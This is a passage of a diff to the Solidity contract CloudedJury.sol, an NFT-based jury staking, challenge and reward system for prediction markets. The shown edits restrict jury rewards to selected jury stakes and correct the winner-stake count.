             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
-            if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
+            if (marketJuryStakes_[_marketId].isSet(_currentTokenId) && _outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
-        winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
+        winnerOutcomeStakes = _marketChallengerToken + juryOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,646 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
